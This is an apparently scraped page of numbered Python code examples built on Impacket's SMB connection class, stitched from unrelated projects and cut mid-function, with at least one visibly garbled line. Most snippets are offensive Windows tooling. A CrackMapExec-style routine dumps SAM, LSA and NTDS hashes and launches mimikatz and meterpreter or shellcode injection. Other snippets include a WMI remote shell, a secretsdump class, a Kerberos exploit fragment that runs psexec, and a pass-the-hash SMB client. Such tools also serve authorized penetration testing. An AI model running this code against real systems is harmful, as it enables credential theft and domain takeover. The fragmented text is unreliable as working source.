                toSend = data[offset:offset + self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid,
                                                self.__handle,
                                                toSend,
                                                offset=offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv=0, count=0):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(
                self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Beispiel #52
0
        from getpass import getpass

        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    try:
        smbClient = SMBConnection(
            address, options.target_ip,
            sess_port=int(options.port))  #, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash,
                                    options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

        if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session[
                'SessionFlags'] &= ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
Beispiel #53
0
def main_greenlet(host):

    try:
        smb = SMBConnection(host, host, None, settings.args.port)
        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]
        try:
            smb.login('', '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(
            logging.getLogger('CME'), {
                'host': host,
                'hostname': s_name,
                'port': settings.args.port,
                'service': 'SMB'
            })

        cme_logger.info(u"{} (name:{}) (domain:{})".format(
            smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if settings.args.mssql:
            cme_logger = CMEAdapter(
                logging.getLogger('CME'), {
                    'host': host,
                    'hostname': s_name,
                    'port': settings.args.mssql_port,
                    'service': 'MSSQL'
                })

            #try:
            ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(5)
            cme_logger.info("Found {} MSSQL instance(s)".format(
                len(instances)))
            for i, instance in enumerate(instances):
                cme_logger.results("Instance {}".format(i))
                for key in instance.keys():
                    cme_logger.results(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

            #except socket.error as e:
            #    if settings.args.verbose: mssql_cme_logger.error(str(e))

        if (settings.args.user and
            (settings.args.passwd
             or settings.args.hash)) or settings.args.combo_file:

            ms_sql = None
            smb = None

            if settings.args.mssql:
                ms_sql = tds.MSSQL(host, int(settings.args.mssql_port),
                                   cme_logger)
                ms_sql.connect()
                ms_sql, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, ms_sql, cme_logger)
                sql_shell = SQLSHELL(ms_sql, cme_logger)
            else:
                smb = SMBConnection(host, host, None, settings.args.port)
                smb, user, passwd, ntlm_hash, domain = smart_login(
                    host, domain, smb, cme_logger)

            if ms_sql:
                connection = ms_sql
                if settings.args.mssql_query:
                    sql_shell.onecmd(settings.args.mssql_query)

            if smb:
                connection = smb
                if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                    rfs = RemoteFileSystem(host, smb, cme_logger)
                    if settings.args.delete:
                        rfs.delete()
                    if settings.args.download:
                        rfs.download()
                    if settings.args.upload:
                        rfs.upload()
                    if settings.args.list:
                        rfs.list()

                if settings.args.enum_shares:
                    shares = SHAREDUMP(smb, cme_logger)
                    shares.dump(host)

                if settings.args.enum_users:
                    users = SAMRDump(cme_logger,
                                     '{}/SMB'.format(settings.args.port), user,
                                     passwd, domain, ntlm_hash,
                                     settings.args.aesKey, settings.args.kerb)
                    users.dump(host)

                if settings.args.sam or settings.args.lsa or settings.args.ntds:
                    dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host),
                                         smb, settings.args.kerb)

                    dumper.do_remote_ops()
                    if settings.args.sam:
                        dumper.dump_SAM()
                    if settings.args.lsa:
                        dumper.dump_LSA()
                    if settings.args.ntds:
                        dumper.dump_NTDS(settings.args.ntds,
                                         settings.args.ntds_history,
                                         settings.args.ntds_pwdLastSet)
                    dumper.cleanup()

                if settings.args.pass_pol:
                    pass_pol = PassPolDump(cme_logger,
                                           '{}/SMB'.format(settings.args.port),
                                           user, passwd, domain, ntlm_hash,
                                           settings.args.aesKey,
                                           settings.args.kerb)
                    pass_pol.dump(host)

                if settings.args.rid_brute:
                    lookup = LSALookupSid(cme_logger, user, passwd, domain,
                                          '{}/SMB'.format(settings.args.port),
                                          ntlm_hash, settings.args.rid_brute)
                    lookup.dump(host)

                if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                    rpc_query = RPCQUERY(cme_logger, user, passwd, domain,
                                         ntlm_hash)

                    if settings.args.enum_sessions:
                        rpc_query.enum_sessions(host)
                    if settings.args.enum_disks:
                        rpc_query.enum_disks(host)
                    if settings.args.enum_lusers:
                        rpc_query.enum_lusers(host)

                if settings.args.spider:
                    smb_spider = SMBSPIDER(cme_logger, host, smb)
                    smb_spider.spider(settings.args.spider,
                                      settings.args.depth)
                    smb_spider.finish()

                if settings.args.wmi_query:
                    wmi_query = WMIQUERY(cme_logger, user, domain, passwd,
                                         ntlm_hash, settings.args.kerb,
                                         settings.args.aesKey)

                    wmi_query.run(settings.args.wmi_query, host,
                                  settings.args.namespace)

                if settings.args.check_uac:
                    uac = UACdump(cme_logger, smb, settings.args.kerb)
                    uac.run()

                if settings.args.enable_wdigest or settings.args.disable_wdigest:
                    wdigest = WdisgestEnable(cme_logger, smb,
                                             settings.args.kerb)
                    if settings.args.enable_wdigest:
                        wdigest.enable()
                    elif settings.args.disable_wdigest:
                        wdigest.disable()

                if settings.args.service:
                    service_control = SVCCTL(
                        cme_logger, user, passwd, domain,
                        '{}/SMB'.format(settings.args.port),
                        settings.args.service, settings.args.aesKey,
                        settings.args.kerb, ntlm_hash, settings.args)
                    service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, settings.args.command, host, domain,
                         settings.args.no_output, connection,
                         settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.pscommand:
                EXECUTOR(
                    cme_logger,
                    ps_command(settings.args.pscommand, settings.args.ps_arch),
                    host, domain, settings.args.no_output, connection,
                    settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
                         True, connection, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
                         domain, True, connection, settings.args.execm, user,
                         passwd, ntlm_hash)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.mimikatz(settings.args.mimikatz_cmd),
                         host, domain, True, connection, settings.args.execm,
                         user, passwd, ntlm_hash)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.powerview(settings.args.powerview),
                         host, domain, True, connection, 'smbexec', user,
                         passwd, ntlm_hash)

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, powah_command.inject_shellcode(),
                             host, domain, True, connection,
                             settings.args.execm, user, passwd, ntlm_hash)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
                             domain, True, connection, settings.args.execm,
                             user, passwd, ntlm_hash)

        try:
            smb.logoff()
        except:
            pass

        try:
            ms_sql.disconnect()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
                                                     e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
                                                    e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Beispiel #54
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise ('Error while anonymous logging into %s' % self.__domain)
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Beispiel #55
0
class ImpacketConnection:
    class Options:
        def __init__(self,
                     hostname="",
                     domain_name="",
                     username="",
                     password="",
                     lmhash="",
                     nthash="",
                     timeout=5):
            self.hostname = hostname
            self.domain_name = domain_name
            self.username = username
            self.password = password
            self.lmhash = lmhash
            self.nthash = nthash
            self.timeout = timeout

    def __init__(self, options: Options):
        self.options = options
        self.hostname = options.hostname
        self.domain_name = options.domain_name
        self.username = options.username
        self.password = options.password
        self.lmhash = options.lmhash
        self.nthash = options.nthash
        self.timeout = options.timeout
        self._log = Logger(self.hostname)
        self._conn = None

    def get_logger(self):
        return self._log

    def set_logger(self, logger):
        self._log = logger

    def login(self):
        try:
            ip = list({
                addr[-1][0]
                for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)
            })[0]
            if ip != self.hostname:
                self._log.debug("Host {} resolved to {}".format(
                    self.hostname, ip))
        except gaierror as e:
            return RetCode(ERROR_DNS_ERROR, e)

        try:
            self._conn = SMBConnection(ip, ip, timeout=self.timeout)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_ERROR, e)

        username = self.username.split("@")[0]
        self._log.debug("Authenticating against {}".format(ip))
        try:
            self._conn.login(username,
                             self.password,
                             domain=self.domain_name,
                             lmhash=self.lmhash,
                             nthash=self.nthash,
                             ntlmFallback=True)
        except SessionError as e:
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                self.domain_name, username, self.password))
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except Exception as e:
            return RetCode(ERROR_UNDEFINED, e)
        return RetCode(ERROR_SUCCESS)

    def connectTree(self, share_name):
        return self._conn.connectTree(share_name)

    def openFile(self, tid, fpath, timeout: int = 3):
        self._log.debug("Opening file {}".format(fpath))

        start = time.time()

        while True:
            try:
                fid = self._conn.openFile(tid,
                                          fpath,
                                          desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find(
                        'STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                    # Output not finished, let's wait
                    if time.time() - start > timeout:
                        raise (Exception(e))
                    time.sleep(1)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self._conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self._conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self._conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self._conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self._conn.readFile(tid, fid, offset, size, singleCall=False)

    def closeFile(self, tid, fid):
        return self._conn.closeFile(tid, fid)

    def disconnectTree(self, tid):
        return self._conn.disconnectTree(tid)

    def isadmin(self):
        try:
            self.connectTree("C$")
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_ACCESS_DENIED, e)

    def close(self):
        if self._conn is not None:
            self._log.debug("Closing Impacket connection")
            self._conn.close()

    def clean(self):
        try:
            self.close()
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_CLEANING, e)
Beispiel #56
0
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username,
                            self.__password,
                            self.__domain,
                            self.__lmhash,
                            self.__nthash,
                            TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS,
                                  self.__copyFile)
                executer.run(self.__target)
Beispiel #57
0
class Wmiexec:
    OUTPUT_FILENAME = "__" + str(time.time())

    def __init__(self,
                 ip,
                 username,
                 hashes,
                 password="",
                 domain="",
                 share="ADMIN$",
                 secrets_dir=None):
        self.__ip = ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash, self.__nthash = hashes.split(":")
        self.__share = share
        self.__secrets_dir = secrets_dir
        self.shell = None

    def connect(self):
        self.smbConnection = SMBConnection(self.__ip, self.__ip)
        self.smbConnection.login(
            user=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
        )

        self.dcom = DCOMConnection(
            target=self.__ip,
            username=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
            oxidResolver=True,
        )

        try:
            iInterface = self.dcom.CoCreateInstanceEx(
                wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            self.iWbemServices = iWbemLevel1Login.NTLMLogin(
                "//./root/cimv2", NULL, NULL)
            iWbemLevel1Login.RemRelease()

        except (Exception, KeyboardInterrupt) as e:
            logger.error(str(e))
            self.smbConnection.logoff()
            self.dcom.disconnect()

    def get_remote_shell(self):
        self.connect()
        win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
        self.shell = RemoteShell(self.__share, win32Process,
                                 self.smbConnection, self.OUTPUT_FILENAME,
                                 self.__secrets_dir)
        return self.shell

    def close(self):
        self.smbConnection.close()
        self.smbConnection = None
        self.dcom.disconnect()
        self.dcom = None
def main():
    # Init the example's logger theme
    logger.init()
    print(version.BANNER)
    parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")

    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
    parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')

    group = parser.add_argument_group('connection')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
                            'the target parameter')
    group.add_argument('-target-ip', action='store', metavar="ip address",
                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
                            'This is useful when target is the NetBIOS name and you cannot resolve it')
    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)

    import re
    domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
        options.target).groups('')

    #In case the password contains '@'
    if '@' in address:
        password = password + '@' + address.rpartition('@')[0]
        address = address.rpartition('@')[2]

    if options.target_ip is None:
        options.target_ip = address

    if domain is None:
        domain = ''

    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass
        password = getpass("Password:"******"Executing commands from %s" % options.file.name)
            for line in options.file.readlines():
                if line[0] != '#':
                    print("# %s" % line, end=' ')
                    shell.onecmd(line)
                else:
                    print(line, end=' ')
        else:
            shell.cmdloop()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Beispiel #59
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Beispiel #60
0
class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus= options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus= self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer =  input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()